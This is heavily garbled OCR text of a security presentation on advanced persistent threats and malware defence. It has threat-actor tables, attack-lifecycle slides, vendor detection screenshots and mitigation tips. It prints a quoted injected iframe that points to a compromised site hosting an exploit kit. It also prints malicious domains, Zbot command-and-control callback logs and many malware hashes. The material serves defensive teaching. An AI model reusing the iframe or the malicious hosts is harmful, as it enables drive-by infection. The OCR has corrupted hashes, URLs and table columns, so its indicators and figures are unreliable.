Disclaimer: The opinions exp 1 on presentation are the personal opinions of the author, not of
any Company. The content is provided for informational and entertainment purposes only and is not
meant o be an endorsement or representation by any Company or any other party






Traditional Malware
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Cyber Attacks
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Distribution

Services interruption

Attack Pattern

Target Audience

o Frequency of attacks

Weapon

Detection Rate

With organized planning

No initially
Could be destrustive

Targeted (only a few
groups/organizations)

Particular Organization/Company /
Gorvement

Many times, Multiple vectors

-Zero-day exploit
-Drop embedded RAT
-Dropper or Backdoor

Lower than 10%, if the sample comes
out within one month

Mass distribution over regions

Not targeted (large area spread-out)

Individual credentials including online
banking account information

Once

Multiple-Exploits, All in one

Around 86%, if the sample comes out
within one month

Mass distribution over regions

Yes

Not targeted (large area spread-out)

Random

Once

By Malware design

Around 99%, if the sample comes out
within one month



Motivation

Actors

Targets

E CYBER WAR

—
l ” ESPIONAGE

Military / Political

Intellectual Property
Gain

Advance Cyber
Nation - States

Nation-States
and Enterprises

Critical Infrastructure and
Political Assets

Goverments, Companies
and Individuals

‘ " ORGANIZED
- CRIME
- VANDAI ISN

v
g

Financial Gain

Criminals

Companies and
Individuals




Traditional Security Is Insufficient

(BYOD) (CLOUD)
Trend Micro evaluations find over 90% of enterprise Advanced Empowered Elastic
networks contain active malicious malware! Persistent Threats Employees Perimeter




Infiltration
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Initial Intrusion

embedded

Reconnaissance

RAT L 4 : IIIIIIIIIIIIIIIIIIIIIIIIIIIII

Install utilities Lateral Movements

Obtain user Credentials Privilege Escalation




BAIT

Adobe Flash Player

*Social Media
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EXPLOIT
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Client bots |
e !

From centralized botnet to hybrid peer-to-peer botnet




SECU RITY




If you did click— you are taken to a page with a number of embedded youtube videos:

As well as an iframe to an compromised site hosting a standard java/flash/PDF Swiss-army —style exploit kit :

<iframe width="&640" height="3&0"
src="hrrps://www.youtube.con/embed/046MuDIpYIg">
</iframe>

<iframe width="640" height="3&0"
sro="http://www.youtubse.com/embad/HiMxSqgbgeNo">
</iframe>

<iframe width="640" height="360"
src="hrrp://www.youtube.com/embed/IVIT rQEWUCE">
</iframe>

<iframe width="640" height="3&0"
sro="http://www.youtube.com/embad/RIAnpHZpFow">
</ frame>

<iframe width="640" height="360"
sro="hrtp://www.youtube.con/embed/ 7coIDyTZ-Z3™>
</iframe>

<iframe width="640" height="3&0"
src="http://pedesirea.com/heig.html”>
7 TLrames

1y —style exploit kit :
Pcdesries.com should be DNS Sinkhole




~ Disri oute

®*|s better organize (24 * 7 follow the sun)

/; Is well funded (Criminal Organizations, Nation-States)




® Registry ect file extension
®* Mutexes - ® |Incorrect ICON

. ® DNS strings * Metadata

/) ®* |IP Addresses ® Schedule task



n the system )

® Remote D 3bbo.com/bmc )

®* PDF Stream Dumper (http://sandsprite.com blogs index.php2uid=7&pid=57 )

® Antivirus exclusions

%




® Access Da’quT ag m /support/product-downloads )

®* WinMerge (http://winmerge.or




09f674a45b4clbbi43fid4bcaZadddeh b13437748ch77e74f3dedc02f5996cf35cd4da13bMedb366c7cied 2f43dB 1ed asis. exe
1493d342e7a36553c36b2adeal 0949 4744dfBacl2ff0a3flad0bf47b15854bbebb73c836dd02f7c79293a282840610 "drdisk.sys,ddr.sys"
3b740ccad0171598513a0c2818521b60e Be9681d9dbfbdcib4cdde3d15cBefbTi7dE91%aa28fcfI6Y 7200387221679 dfrag.exe
41113811fa2d4c41bB002bfb2554a286 7dadlb3b3bVdd72430d3f56f0alb1403844bb05ce2499ef98a28684fbccclybd netinit. exe

O B41Vc75ca69312a7f46176260d08fal6 e380d9dfo6ebbecal9b37iblcdf03efebd35445c0638634686cbd3106falacy netinit. exe
6dd571b84470ad9caad3lababacf431e 6247bb1eb0b74c30e955ffabdoe2b998adad9cocc2ledbi113f2c8ai15a7481 vas.exe

\\; SAMPLE 10C

Bebb1942c4608cfalf32d31d5400aace 40d3bfedebdlcdedtffal243dedbitlef2al135abif2a1a168af0f789767ectll asis. exe
TBcB43ab29d497317082e5db8c 799960 5a826b4fa10891cf63aaed32fcbdocebbladb3bI15cblBcaZboedbb173b1b80a "drdisk. sys, ddr.sys"
TeeV2730cd7330649e1dbc2812e986e7 c57915e306c43c52dbadob989bdbbeat32b9716a25905633bdE268fbcVectall dfrag.exe
9a3388b1783cV0cf779baefi8d40c06d bacaeb5b7a8d632641dbb3deb26773e2106d8faB1707765a%a29%e7adc21a676 Trksrv.exe
d214cv17a357fe3a435610b197c390aa fId94codebbaal 70384 1e2e71d95ec373536899cb7985633d3ecfdbb7aflf V2 Trksmv. exe
e13384fedaedfodef72357e 7 78af3890™ 31212dBb4d2920c76a4f18374a2224e7hbccBdIdo93f 1ef3e120147983%a71b vas.exe

MD5

76c643ab29d497317085e5db8c799960

1493d342e7a36553c56b2adeal 50949e

b14299fd4d1cbfb4cc7486d978398214

9a3588b1783¢c70cf779baef58d40c06d

41f13811fa2d4c41b8002bfb2554a286
Synopsis of malware:

When the fake report, which Symantec detects as Trojan.Pidief, is opened, a blank PDF is shown but in the background exploit 6dd571b84470ad9caad30ababact491e
code for Adobe Acrobat and Reader Remote Code Execution Vulnerability (CVE-2013-0641) is executed. The PDF file may drop 1493d342e7a36553c56b2adeal 50949e

Trojan Swaylib and Trojan Dropper. which drops Downloader. if the vulnerahbility is successfully exploited. 6417¢75¢569312a7f46176260d08fa96
d214¢717a357fe3a455610b197¢390aa

Reports on the malware can be found on:

Variant found by 96+
Mandiant APT2 Report. pdf 41f13811fa2d4c41b8002bfb2554a286

MDS5: 14a6e24977ff6e7e8a8661aadfalalf3 3b740ccad401715985f3a0c28f851b60e
SHA-1: b4f752ac65aa1932405b2b243104acdf872f4b6 d214c717a357fe3a455610b197c390aa




URL:

Serial Number:
SHAZ256:

User:

Attacker:

Hostname/Mgmt. IP;

Verdict:

Filename:
Serial Number:
SHA256:

User.

Attacker:

Hostname/Mgmt. IP;

Verdict:

winw 883 poker.comidownloadclient.htm
0002C101923
Ter7ad92453000cB134d3507faee730c431778e380c257847 cBhaecfi2DiciD2

unknown Received:

213 52 252 82 80 Victim:

_ Application:

Malware Virus Coveraqge Information

Telstra-MMS-IDB74633922 JPEG . exe

0002C101923
5d321782329c234dfd8177eb595ch2d1945460517a95492507 11f42aaf4a3345f
unknown Received:

1121207828 31604 Victim:

. Application:

Malware Virus Coverage Information

411812013 1:55:30 AM
| Rl

web-browsing

411712013 6:38:41 AM
R
25

smtp




M\

Type Id FT Malvare

Severity
2950184

Time (UTC
O4f17/13 22:10:18

Source IP

I 1047

URL / MdSsum
S0ca90d1i0aZed454chbdifcbig21iadfaza

Target IP

.S .50

Location

¥ | Malvare Object

exe Trojan.Zbot

Malware:

VXE Callback:
File Type:
AW Suite:

B Trojan.Zbot

B Trojan.Zbot
axe

B Trojan.Generic

B Malicicus Behavior Observed

Bot Communication Details:
Server DNS Name: programcam.ruy Service Port: 80

Direction
POST

Command

/pizda/gate.php HTTR/1.0

Others Accept: */¥

Accept-Encoding: identity, *:g9=0
Content-Length: 295

Content-Type: application/cctet-stream

Content-Enceding: binary

Callback communication observed from VWM: Malvare: Trojan Zbet
Servaer DNS Name: 199.16.199. 2 (sandbox) Service Port: 80

Direction
POST

Command

/pizdafgate.php HTTE/ 1.0

Cthers Accept: ¥/ *

Accept-Encoding: identity, *:q=0
Content-Length: 295

Content-Type: application/octet-stream

Content-Encoding: binary

Download Source Headers

GET
Cache-Control
Connection

Fragma
User-Agent
Hast

HTTR

Date

[templates/beez/ponk.exe HTTRE/1.1
no-cache

close

no-cache

Mozilla/4.0

purequo.com

1.1 200 OK

Wed, 17 Apr 2013 22:06:08 GMT

VM Capture
IP Protocol:
Attacked Port:
Src IP:
Analysis OS5:

Archived Object:

User-Agent

Mozilla/4.0 {compatible; MSIE 5.0;
Windows 98)

User-Agent

Mozilla/4.0 (compatible; MSIE 5.0;
Windows 58)

pcap 22537 bytes (text)
TCP

80

I . 10247

Microsoft Windows¥P Professional 5.1 sp2

90ca90d10a23e454cbd1fcb1 2831 adf829.zip

Host

programcarm.ru

Hast

programcanm.ru

Sarver
Last-Modified
ETag

Accept-Ranges
Content-Length
Connection
Content-Type

Connection

closa

Apache
Wed, 17 Apr 2012 17:25:10 GMT

"91d9c12c-31e00-4da91cB27 52
g"

bytes
204288
closa

application/x-msdos-program




® Belarc A

®* SNORT (http://www.snort.org

~  ® Implement SPF (Sender Policy Framework - http://www.openspf.or

%
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@QUALYS'BRDWSERCHECK About FAQ  Feedback  Qualys.com

BUSINESS EDITION

Schlumberger

Scanning. Please wait
[pp——
- Checking all browsers and plugins

- Checking Anti-Virus, Firewall and Windows Update
- Checking for missing Security Updates from Microsoft

@ Improve your browser's Find vulnerabilities at the @ Take charge of any issues

security today. click of a button. found.

Click the "Install Plugin” button Scan your browser and view all Follow recommended steps to

to enable fast, safe scanning of security issues in an easy-to- resolve each vulnerability found.
your browser and OS. understand detailed list.

Support | Privacy | Service User Agreement f » =

© 1999-2013 Qualys, Inc, All Rights Reserved. Qualys, the Qualys logo and QualysGuard are registered trademarks of Qualys, Inc, All other trademarks are the property of their respective owners,




@ QUALYS BROWSERCH E(;_I( About  FAQ  Feedback  Qu

ON

Schliumberger

Scan Complete

Congratulations! You passed Qualys BrowserCheck.
We recommend you scan your browser regularly fo stay up to
date with the latest versions and plugins.

Results: Browsers [ Plugins m Che MS Updates

related items. Disabled status for result items i ailable with thi

Detected
Brox

Send us your feedback

Tell a friend

Adobe Shockwave
Player
Produ

1 lopment

Foxit Reader
Prodt

Silverlight
Prodt :

5.1.20




@ QUALYS' SSL LABS

You are here: Home = Projects = 351 Server Test = www.isaca.org

SSL Report: www.isaca.org

Assessed on: Sun Apr 14 23:31:56 UTC 2013 | HIDDEN | Clear cache

Server Domain(s)

12.239.13.10
Ready

isaca.org

72.21.91.25

Ww.isaca.org
Ready

Home Qualys.com

Test time

Sun Apr 14 23:31:.08 UTC
2013
Duration: 17.634 sec

Sun Apr 14 23:31:26 UTC
2013
Duration: 30.173 sec

Warning: Inconsistent server configuration

S5L Report v1.2.50 (Beta)

Copyright @ 2009-2013 Qualys. Inc. All Rights Reserved.

https:/ /www.ssllabs.com /ssltest /

Projects Contact

Scan Another >>

Grade

Terms and Conditions




443 or

and services (egress
fil’reringh) |
® Detect for ZIP, RAR or CAB formatted files outbound. These can be identified

via their headers.




* BIT-9, Fidelis, 2 4 Stonesoft, Verdasys,
Sourcefire, Alien Vault, 21CT, etc.

%




If you can’t see it, you can’t stop it

Circumventors and Tunnels
Encryption (e.g. SSL)

Proxies (e.g CGIProxy)
Compression (e.g. GZIP)

METWORKS

palo

ssed HTTP

rypted Tunnels
Hamachi, Ultrasurf, Tor

Purpose-built to avoid security

© 2011 Palo Alto Networks. Proprietary and Confidential.
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MNETWORKS

palo

via regular

® Provides forensics and insight into malware

behavior

® Actions on the target machine

® Applications, users and URLs involved with the

malware © 2011 Palo Alto Networks. Proprietary and Confidential.




Overview

Flilename:
Serial Number:
Filenamé SHAZSG:

Serial N

\URL:

SHA256

URL: User:

Hm— Attacker:

Attacke

Hostna e ip: | Hostname/Mgmt. IP:
Verdict:

Werdict:

Analysis Sudma

FedEx-Shipment-Motification-Jan23-2012 .exe
00041A100326
T403e9ab8daf3hE62d4047b 7 24030fadd7¥ades58ecOb33delfef39ct23561 7dGE1

gql.attach.mail.ymail.com/us.f1 128.mail.yahoo.com/yalsecu

unknown Recehved: 1/23/2012 10:59:08 AM
201.216.228.109 45352 WVictim: 133.6.1.61 25
PA-4050 Application: smitp

Malware Virus Coverage Information

Created a file in the Windows folder

Used the POST method in HTTP

Created or modified files

Started a process from a user document folder
Installed a service

Spawned new processes

Listened on a specific port (backdoor behavior)
Deleted itself

Injected code into another process

Started or stopped a system service




|Created or modifis

|Spawned new pro

;'Ocmtained unkno
|Deleted itsalf

|Registered a file d
|Madified ragistried

|Usad the POST
i\!isi‘bad a mahwvana

USH)
0004
7524
i korf
unkr
115,
A
Ma

u;. -. sl

Analysis Summary

Behavior

:{3 reated a file in the Windows folder

Used the POST method in HTTP

Created or modified files
Started a process from a user document folder
Installed a service
Spawned new processes

istened on a specific port {backdoor behawviar)

eleted itself

njected code into another process
iStarted or stopped a system service

Registered a file as auto-start from a local directorny
Modified registries or system configuration to enable auto start capablity

Modified Windows registries

‘Changed sacurity settings of Internet Explorer

Changed the proxy settings for Internet Explorer

Modified the network connections setting for Internet Explaorer
(Created an executable file in a user document folder

Visited a malware domain

Changed the Windows firewall policy




i
Detailed Report

Overview

lename:
Serial Number:
|SHA258:
|uRL:
User:
|Attacker:

Analysis Summpry

USPE report.exe

0004A100237

TE22T1473T68M3aa429bd 22167 c583f6e28c06b032TATS543864498918d9aebb

unknown

unknown Received: 12/8/2011 2:19:38 AM
115.119.104.66 :55533 Victim: 194.154.183.25 :25
PA2020 Application: smitp

Malware Virus Covermge Information

Behavior
|Craated an exeg
:Craabad or mog jos
|spawned ne ocs
:Oclntained 'CRIUDP
Deleted its
Registered Lito-start f
Maodified re watem oo
Modified
Usad the P

bartur. ru,

Traffic

Domains
time. windows.com

htobertur.ru

URL

htobertur.ru/and/image.php

User Agent

Mozilla/4.0




r_ Y Config

™ s > [ L [ [ ||H'ﬁ
e Portal

Agént

v

LOCATION DISCOVERY

l"”'
palo:

Internal External

EHOOSE
BEST GATEWAY

ETWORKS

SUBMIT USER &
HOST INFORMATION

ESTABLISH VPN

SUBMIT USER & —mmEmEEa.
HOST INFORMATION

L [ | | 1Py
e

| ©2012, Palo Alto Networks. Confidential and Proprietary.



NGTP(NEXT-GENERATION THREAT PROTECTION)

Cloud Service

Infernet '
..
Anti-Spam _

| Gateway : ;
B N. Mail Servers

Web MPS
{(Check URLs
for malicious

Email MPS
(Scans email
attachments

for APTs)




CMS HA PRIMARY [i

Logged in as: admin

)
<© FireEye

Dashboard Appllances Summaries eAlerts eQuarantina Repositores Analysis Fillters Appliance Settings CMS Settings Reports A

Alemnts (as of 10711 191841 pST

Severity Time (PST) ¥ Source 1P Target 1P

Malware Object
Malware Callback
Malvare Object
Malware Callback
Malnare Object
Malvare Object
Malware Object
Malware Object
Malware Object
Malware Object
Malware Object
Malware Object
Malvare Object
Web Infection
Web Infection
Web Infection
Web Infaction
Web Infection
Web Infection
Malware Callback

LR AN/ IO R AR AL AN R B R A L O8N SR AR

Page: x> 123 ...10

EERPEPBEBEBREEGEREB ™™ ®ELO G

Trojan.Downloader
Bot.Pushdo.B
InfoStealer.PWS.LdPinch
InfoStealer.Nilage
Bot.Pushdo.B
Malvare.Binary
Trojan.Downloader
Trojan.Agent
InfoStealer.Nilage
Bot.Srizbi

Trojan.Sality
InfoStealer.PWS.LdPinch
Trojan.Katusha
Exploit.Brovaer
Exploit.Browser
Trojan.Sality
Exploit.Bronser
Trojan.Katusha
Exploit.Bronser

Trojan.Sality

Ll L L] 11/04/11
11/04/11
L L L 11/04/11
LLLLL L] 11/04/11
Anun 11/04/11
uwaguao 11/04/11
11/04/11
asan 11/04/11
EEEEw 11/04/11
ssse 11/04/11
amun 11/04/11
aamgy 11/04/11
LL L L 11/04/11
amnn 11/04/11
L L L 11/04/11

sssn 11/04/11
11/04/11
11/04/11
anen 11/04/11
(11t 11]] 11/04/11

13:01:12
13:00:45
13:01:57
13:00:43
13:01:51
13:03:17
13:04:37
13:04:46
13:06:23
13:07:22
13:08:59
13:15:46
13:17:19
13:00:56
13:06:48
13:04:12
13:10:31
13:111:27
13:10:49
13:02:58

77.123.28.111
236.174.141.127
236.174.141.127
236.174,141.127
236.174.141,127
236,174.141.127
236.174,141.127
236.174.141.,127
236.174.141.127
236.174.141.127
108.184,52.189
227.248.213.168
73.172.109.13%
77.123.28.111
236.174.141.127
108.184.52.189
227.248.213.168
73.172.109.139
216.250.106.236
108.184.52.189

229.87.165.27
95.71.183.205
223.79.197.182
110.118.150.47
B87.147.166.246
B7.147.166.246
B87.147.166.246
108.195.198.22
B7.147.1€66.246
87.147.166.246
92.250.166.89
225.248.228.232
201.180.99.251

45.219.65.223




De39fd70ede69edd55c8d3dd2855¢
f4ec2016bch.exe

9/20/2012 809 AM

1e53e2851297¢f78dd8e667eb4587
e732877eeleexe

9/20/2012 809 AM

2df6c1b59d976bfTeal 2e1eb 79691
d2086f0b965.exe

Userinit Logon Application

4c35a6901105d3a54ffc66a689d70c
87%5fccdd exe

9/20/2012 809 AM

4dcob6ofalfeec?79ba%a835671af
72c9643694 exe

9/20/2012 B:09 AM

4f3b5efb912184a167ae7bad425371d
da5abed00.exe

/20,2012 809 AM

5a5c¢1271bd57a930cec®0ch009745
dcf063214b5.exe

97202012 8058 AM

WLUls

5c666535ead4489%dc43d0741d367a
503aalDbbab7 exe

DirectShow Setup Tool

5 6a39a67ab34d7391r753843e5a56a

759¢557c8dd.exe

3.281

B8a4dfabbd59ba7eacaZfbcee333ff0
D44e21bf25.exe

9/20/2012 809 AM

09e67e071e8aa6537e79908388a6
42cebce32b5.exe

9/20/2012 8:00 AM

19e7c0703041f557729d43a5301d9

al:

TR
I

-~
. ANF

p U=

&

Dea3f3dfee752ddBB630dbef6422cd
Se0ffd7674.exe

281

1e979%a4a8c4601cetdfad7742f64e
d4d4dabeBdel.exe

Trymedia Download Manager

2e1a8d895993¢b6802e5fo7e91a98
26e66d20faZexe

 9/20/2012 809 AM

4c130cbfd8415c316b3a0c1700a40
1b12263f9df.exe

972072012 809 AM

4de834d86ae0098fbcdeb87068594
9c96e8d7850.exe

9/20/2012 B09 AM

4f4cd700cf7e2a051f84dade7480eb
6d2cd0eShd.exe

VideoCachaView

5a079312618861b4222496a64 31283

o 046303483 .exe

9/20/201

7 200 AM
LVULlS ¥

09 A

Scb3f78ebeadfc77790d501e7f405a
b736a4933961f174dd6145bbc13¢..

Adobe! Flash? Plaver Installer/Un

6e291d842958¢15058635¢c51a617¢
4a0c18338cexe

3.281

8aB868e6892b2a438650d4387a9834
8702b8cde54 exe

9/20/2012 B2 AM

9a7013ee2be’e6800b12301671201
73b2922569%f exe

Q/20/2012

NG A
800 AM

20d7dad7623c7act5bf73160f5bab
74c74¢c37383 exe

N\

%

0f050114c298fe2eaf4f50810f80cc19
199d6839.exe

1e15399bfof1eb6fofd02d294a4837¢
496248661 exe

£.0.1

2e05cb076de6124583d1392fe2cdé
79283427f7b.exe

9/20/2012 8:09 AM

4d22f3f95c5fd50e522dbeee750d36
9598689c7f.exe

.2.8.1

4e965423c4ac78e440116¢8d03432
55a95d5e2d1.exe

IP Configuration Utility

4§7870d4176f9bbed3688eeadfbdeb
Sb4290b425a.exe

1.0.0.1

52942af618b73118c0bfO9b824c2¢72
508f4b0d8cexe

10 £ -y
9/20/2012 8:09 AM

ScbB8357cc5c17498ba%b7%51442
aB97cb72724 exe

9/20/

2012 809 AM

6e083bfd0cB4Ed84cecOfbl0da75fd
20adbaabdd.exe

PC Text Pro

8fdab53fc1954da3b4ccalefaf727f6
23cc238b6.exe

972072012 8:09 AM

9bBchbBd543806419795159¢86036a
6dbdabaldafexe

9/20/2012 8:09 AM

210e906136560c11214910afcafi0b

01996d145dfb8aB26987¢c17da5as5a
b50f2cccbebexe

Performance Log Utility

2d17fc022cab3036ecl70e082597e
8c37a871eld exe

2e66b983c3ablaZba3edfeadedsSact
446c81107cexe

32R1

4d90c0e4c122a840bac947a631260
9c235eccOc? exe

9/20/2012 8:.09 AM

4e91120009a4453efbc 7109415950
75fd564bf3 exe
9/20/2012 8:09 AM

LU eNIL O

» 05bl2dald577134abel79deefbble

e
¢

fa338cfde7 1 exe

3.4.0.4

Sb28b50471a36e5e7a860768e816f
c56eb2e7bflexe

> NG A
2 8:00 AM

Sd3e3foD6d354c418ba22815702¢5
2115fe591be exe

6e954¢560a4123488e16033427fblc
128cd0fo7ef9198a017594196e958..

10/3/2012 6:56 AM

8ff687008a059a0ac5adf0243b3061

faOcb7caaa.exe
1.0.0.1

9bbe52eabeBed 22¢9c827864396
a21073a870b.exe
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Macromedia Flash Player 7
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.

B ) ooosa23c537exe
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Collect FW Logs
Collect FireEye Logs

splunk> .-

Collect flowdata PR
Collect DNS logs

Correlate netflows (IPs)to
known C&C addresses

Correlate DNS queries to
known C&C domain names

Look-up to known C&C lists

Real-time alerts and

notifications o Known publically
available C&C

- list
Monitoring for sites that change IPs and IPs that CSV or DB

change their domain names

Look-up
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' mari« P! ~op - | Manager | Alerts | Jobs | Logout
f:)!i?'i' FireEye

FireEye Owverview Malbware Owverview Analysis Search & Help | About

Wiew Full Report Alert ID
This dashboard enables deeper visibility into the O O,
analysis alerts received from your FireEye devices.

The Time Selection drop down automatically executes a search
ance a time period =elected. The View Full Report link above the o )
Time Selector takes you to the main search view of the app whers Diistinct AHBTYSES- 1
yvou continue to explore the data further. The form fields on the
right allow you o fiter the results that are shown in the charts and
tables below. You can use ihe filters with exact values of fields or if
wou are unsure your an use wildcards to filker results. 2. g. to search Mahwvare Mame Malware URL
for any Wictim address that might contain the numbers 109 in any Bad URLS: 5
position, you can type *101* in the VWictim 1P field and press the
Enter or Return key. | YWou can howver over the tems im the charls to
see more detailed information on sections of the pie chari=s or
individual colummns of the column charts.

Device Mame

Infections
Alert ID = Analysiz = Malware = URL =

93650 binary Trojan. Generic tbww=s54. shopathome.com

93664 binary Worm. Esfury. & 89-1-3-5-1-4-3-1-1-0-.0-0-0-0-0-0-0-0-0-0-0-0-0-19-0
93712 binary Worm. Esfury. & 8-2-6-3-2-3-2-2-0-0-.0-0-0-0-0-0-0-0-0-0-0-0-0-38-0
93714 binary AutoGen. Binocole Tgbh.com

93634 binary Wonm. Esfury. & 7-T7-7-0-1-2-3-1-1-0-.0-0-0-0-0-0-0-0-0-0-0-0-0-7-0-1

>

malware—callback

Alert

B count(URL)

Content Type MD5SSums
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* Identify and e

® Determine incident impact with yst-bre ach

® Collect and Fuse All of Your Current Data

® Architecture capable of quickly collecting and fusing all of the network data
you already have including NetFlow, PCAPs, IPS/IDS, Firewalls, NGFW, NGTP,

SIEMs, log data, and more
/ www.21ct.com
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Winning the War Against the
New Breed of Cyber Attacks

« Identify key characteristics of
modern malware

« Recognize malware infections

« Implement effective application
and network controls

Steve Piper, CISSP Q
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Potential for Damage Decreases with Knowledge of Threat

Time to Respond

Manual Detection Process:
Higher Damage Potential

Knowledge of Threat Threats Becoming Increasingly Difficult to Detect and Mitigate

Financial:
Theft and Damage

Viruses and Malware

Testing the Waters:
Basic Intrusions and Viruses

Threat Severity
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